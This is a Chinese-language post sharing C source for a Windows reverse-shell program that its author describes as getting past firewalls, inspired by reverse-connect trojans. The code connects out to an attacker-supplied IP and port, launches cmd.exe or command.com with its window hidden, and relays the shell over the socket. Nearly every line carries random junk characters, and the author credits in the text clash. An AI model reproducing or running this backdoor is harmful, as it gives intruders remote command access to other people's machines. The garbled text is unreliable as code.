这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m BFNg3_
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/* ============================== 7gN;9pc$
Rebound port in Windows NT pZopdEFDK|
By wind,2006/7
m (MQ
===============================*/
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#include -dO8Uis$
#include q4w]9b/
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#pragma comment(lib,"wsock32.lib") Z!~_#_Ugl
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void OutputShell(); .Z'NH
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SOCKET sClient; \wsVO"/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2wB*c9~
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void main(int argc,char **argv) p7-\a1P3
{ FXDB> }8
WSADATA stWsaData; Qs
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int nRet; Y:O|6%00Y
SOCKADDR_IN stSaiClient,stSaiServer; %a
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if(argc != 3) , +J)`+pJx
{ k<Gmb~Tg1
printf("Useage:\n\rRebound DestIP DestPort\n"); AVw oOvJ
return; i0/QfB%O
} gBhX=2%
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WSAStartup(MAKEWORD(2,2),&stWsaData); L~{(9J'(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @(35I
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stSaiClient.sin_family = AF_INET; =E]tEi
stSaiClient.sin_port = htons(0); $;G<!]& s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); He'VqUw_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ N,rd= m+
printf("Bind Socket Failed!\n"); 3{|~'5*
return; 1!G}*38;
} ,(Zxd4?y
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stSaiServer.sin_family = AF_INET; 2"Wq=qy\J
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q MrM^ ~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ul/m]b6-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4]m{^z`1
{ dWkQ NFKF
printf("Connect Error!"); !KOa'Ic$V
return; e,p*R?Y{[
} z"yW):X
OutputShell(); mOh?cjOi
} Miw=2F
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void OutputShell() 0j4n11#
{ A|1xK90^XT
char szBuff[1024]; LKc p.i
SECURITY_ATTRIBUTES stSecurityAttributes; =,;$d*h
OSVERSIONINFO stOsversionInfo; 3Fn}nek
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; 9q$^x/z!
char *szShell; I*Dj@f`
PROCESS_INFORMATION stProcessInformation; As>Og
unsigned long lBytesRead; s<# BxN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <a$!S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2;"vF9WMm
stSecurityAttributes.lpSecurityDescriptor = 0; 8%u|[Si;
stSecurityAttributes.bInheritHandle = TRUE; #z&R9$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R[l`# I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w (RRu~J
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HAI)+J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %vy,A*
stStartupInfo.wShowWindow = SW_HIDE; o96c`a u
stStartupInfo.hStdInput = hReadPipe; de2G"'F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fi>.X99(G
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GetVersionEx(&stOsversionInfo); P.q7rk<
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switch(stOsversionInfo.dwPlatformId) B,_K mHItd
{ E_A5KLP
case 1: AEnkx!o
szShell = "command.com"; dl8f]y#Q
break; wT- -i@@
default: 0_ST2I"Ln
szShell = "cmd.exe"; \.i ejB
break; qS! Lt3+
} ~=c5q
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "#gKI/[qxq
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send(sClient,szMsg,77,0); &F:.V$
while(1) ;%
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{ @.a59kP8X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mD% qDKI
if(lBytesRead) C.#Ha-@uz
{ 3]9wfT%d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Hpz1Iy@
send(sClient,szBuff,lBytesRead,0); ZG1TRF "
} ^pu8\K;~
else w<THPFFF"
{ Wd!Z`,R
lBytesRead=recv(sClient,szBuff,1024,0); $PRd'YdL/
if(lBytesRead<=0) break; Zy9IRZe4U
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /*fx`0mY)
} )K]p^lO
} wAW{{ p
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return; ( z)#}TC
}